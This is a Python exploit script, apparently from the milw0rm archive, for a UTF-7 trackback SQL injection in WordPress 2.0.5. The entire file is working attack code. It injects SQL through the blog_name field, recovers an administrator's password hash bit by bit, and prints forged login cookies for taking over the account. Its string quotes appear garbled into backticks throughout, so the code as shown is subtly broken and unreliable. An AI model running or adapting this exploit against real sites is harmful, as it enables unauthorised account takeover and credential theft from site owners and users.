Wordpress 2.0.5 Trackback UTF-7 Remote SQL Injection Exploit#!/usr/bin/python
#######################################################################
#  _  _                _                     _       ___  _  _  ___ 
# | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
# |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|  
#                                                        
#######################################################################
#         Proof of concept code from the Hardened-PHP Project 
#
#                         NOT FOR DISTRIBUTION
#                    PLEASE DO NOT SPREAD THIS CODE
#
#######################################################################
#
#                        -= Wordpress 2.0.5 =-
#                Trackback UTF-7 SQL injection exploit
#
#                   beware of encoded single-quotes
#
#######################################################################

import urllib
import getopt
import sys
import string
import re
import time
import datetime
import md5

__argv__ = sys.argv

def banner():
    print `Wordpress 2.0.5 - Trackback UTF-7 SQL injection exploit`
    print `Copyright (C) 2006 Stefan Esser/Hardened-PHP Project`
    print `            *** DO NOT DISTRIBUTE ***\n`

def usage():
    banner()
    print `Usage:\n`
    print `   $ ./wordpressx.py [options]\n`
    print `        -h http_url   url of the Wordpress blog`
    print `                      f.e. http://www.wordpress.org/development/`
    print `        -p id         id of posting to exploit trackback (default: 1)`
    print `        -i id         User id to steal password hash for(default: -1)`
    print `        -u username   username to steal password hash for (default: ...)`
    print ``
    sys.exit(-1)
    
def determineCookieHash(host):

    wclient = urllib.URLopener()
    
    print `[+] Connecting to retrieve cookie hash`
    
    try:
        req = wclient.open(host + `/wp-login.php?action=logout`)
    except IOError, e:
        if e[1] == 302:
            # Got a 302 redirect, but check for cookies before redirecting.
            # e[3] is a httplib.HTTPMessage instance.
            if e[3].dict.has_key('set-cookie'):
                cookie = e[3].dict['set-cookie'];
                chash = cookie[string.find(cookie, `user_`)+5:]
                chash = chash[:string.find(chash, `=`)]
                print `[+] Cookie hash found: %s` % chash
                return chash

            
    print `[-] Unable to retrieve cookie... something is wrong`
    sys.exit(-3)
    return ``
    
def determineIsMbstringInstalled(host, pid):

    wclient = urllib.URLopener()
    
    print `[+] Connecting to check if mbstring is installed`
    
    params = {
        'charset' : 'UTF-7',
	    'title' : '+ADA-'
    }
    
    try:
        req = wclient.open(host + `/wp-trackback.php?p=` + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print `[+] ext/mbstring is installed. continue with exploit`
            return 1
    
    content = req.read()
    
    if string.find(content, 'error>1</error>') != -1:
        print `[-] Illegal posting id choosen, test impossible`
        sys.exit(-2)
            
    print `[-] ext/mbstring not installed... exploit not possible`
    sys.exit(-2)
    return 0
    
def determineTablePrefix(host, pid):

    wclient = urllib.URLopener()
    
    print `[+] Connecting to determine mysql table prefix`
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : '+ACc-ILLEGAL'
    }
    
    try:
        req = wclient.open(host + `/wp-trackback.php?p=` + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print `[-] Table prefix cannot be determined... exploit not possible`
            sys.exit(-2)
            return ``
    
    content = req.read()
    
    f = re.search('FROM (.*)comments WHERE', content)
    if f != None:
        prefix = f.group(1)
        print `[+] Table prefix is: %s` % prefix
        return prefix
    
    print `[-] Table prefix cannot be determined... exploit not possible`
    sys.exit(-2)
    return ``

def lockTrackbacks(host, pid):

    now = datetime.datetime.utcnow()
    now = now.replace(microsecond = 0)
    
    future = now + datetime.timedelta(days=1)
    future = future.replace(microsecond = 0)
        
    wclient = urllib.URLopener()
    
    print `[+] Connecting to lock trackbacks`
    
    author = `Mark Mouse`
    author_email = `mark@incidents.org`
    author_url = ``
    author_ip = `210.35.2.3`
    agent = `Internet Explorer`
    futuredate = future.isoformat(' ')
    futuredate_gmt = future.isoformat(' ')
    date = now.isoformat(' ')
    date_gmt = now.isoformat(' ')
    
    sql = `%s','%s','%s','%s','%s','%s','','0','%s','comment','0','0'),('0', '', '', '', '', '%s', '%s', '', 'spam', '', 'comment', '0','0' ) /*` % \
          ( author , author_email , author_url , author_ip , date , date_gmt , agent, futuredate, futuredate_gmt )
    
    sql = string.replace(sql, `'`, `+ACc-`)
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : sql
    }
    
    try:
        req = wclient.open(host + `/wp-trackback.php?p=` + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print `[-] Table prefix cannot be determined... exploit not possible`
            sys.exit(-2)
            return ``
    
    content = req.read()
    
    return ``

def checkUsername(host, pid, prefix, name, uid):

    wclient = urllib.URLopener()
    
    print `[+] Connecting to check if user %s is present` % name
    
    if uid != -1:
        sql = `' AND 1=0) UNION SELECT 1 FROM %susers WHERE ID='%s' /*` % (prefix, uid)
    else:
        sql = `' AND 1=0) UNION SELECT 1 FROM %susers WHERE user_login='%s' /*` % (prefix, name)
    
    sql = string.replace(sql, `'`, `+ACc-`)
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : sql
    }
    
    req = wclient.open(host + `/wp-trackback.php?p=` + pid, urllib.urlencode(params))
    
    content = req.read()
    
    
    if string.find(content, 'Duplicate') != -1:
        return 1
    if string.find(content, 'Doppelter') != -1:
        return 1
    
    if uid != -1:
        print `[-] Error user_id invalid`
    else:
        print `[-] Error username invalid`
    sys.exit(-2)
    return 0


def bruteforceBit(host, pid, prefix, name, uid, bit):

    wclient = urllib.URLopener()
        
    nibble = (bit / 4) + 1 
    bit = (bit % 4) + 1
    
    sql = `' AND 1=0) UNION SELECT 1 FROM %susers WHERE ` % prefix
    
    if uid != -1:
        sql = sql + `ID='%s'` % uid
    else:
        sql = sql + `user_login='%s'` % name
    
    sql = sql + ` and substring(reverse(lpad(conv(substring(user_pass, %d,1), 16, 2),4,'0')),%d,1)='1' /*` % (nibble, bit)
    
    sql = string.replace(sql, `'`, `+ACc-`)
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : sql
    }
    
    req = wclient.open(host + `/wp-trackback.php?p=` + pid, urllib.urlencode(params))
    
    content = req.read()
    
    if string.find(content, '15 seconds') != -1:
        return 0
    if string.find(content, '15 Sekunden') != -1:
        return 0
    if string.find(content, 'Duplicate') != -1:
        return 1
    if string.find(content, 'Doppelter') != -1:
        return 1
    
    print `[-] Error retrieving password hash: unexpected reply at bit %d` % bit
    sys.exit(-2)
    return ``

def bruteforce(host, pid, prefix, name, uid):

    phash = ``
    
    print `[+] Retrieving the password hash bit by bit`
    
    for i in range(32):
        nibble = 0
        for j in range(4):
            nibble = nibble | (bruteforceBit(host, pid, prefix, name, uid, i*4+j) << j)
        phash = phash + `%x` % nibble
        
    return phash
        

def main():
    try:
        opts, args = getopt.getopt(sys.argv[1:], `h:i:u:p:e:d:`)
    except getopt.GetoptError:
        usage()

    if len(__argv__) < 2:
        usage()
        
    username = 'admin'
    password = None
    email = None
    domain = None
    host = None
    pid = 1
    uid = -1
    for o, arg in opts:
        if o == `-h`:
	        host = arg
        if o == `-p`:
            pid = arg
        if o == `-i`:
            uid = arg
        if o == `-u`:
            username = arg
        if o == `-e`:
            email = arg
        if o == `-d`:
            domain = arg
    
    # Printout banner
    banner()
    
    # Check if everything we need is there
    if host == None:
        print `[-] need a host to connect to`
        sys.exit(-1)
        
#    if username == None:
#        print `[-] username needed to continue`
#        sys.exit(-1)
#    if password == None:
#        print `[-] password needed to continue`
#        sys.exit(-1)
#    if email == None:
#        print `[-] email address needed to continue`
#        sys.exit(-1)
#    if domain == None:
#        print `[-] catch all domain needed to continue`
#	    sys.exit(-1)

    determineIsMbstringInstalled(host, pid)
    chash = determineCookieHash(host)
    lockTrackbacks(host, pid)
    
    prefix = determineTablePrefix(host, pid)
    checkUsername(host, pid, prefix, username, uid)
    
    phash = bruteforce(host, pid, prefix, username, uid)
    
    print `[+] Done...`
    print `    The password hash is %s` % phash
    
    m = md5.new()
    m.update(phash)
    cphash = m.hexdigest()
    
    print `    The logincookies are:`
    print `       wordpressuser_%s=%s` % (chash, username)
    print `       wordpresspass_%s=%s` % (chash, cphash)

if __name__ == `__main__`:
    main()

# milw0rm.com [2007-01-07]
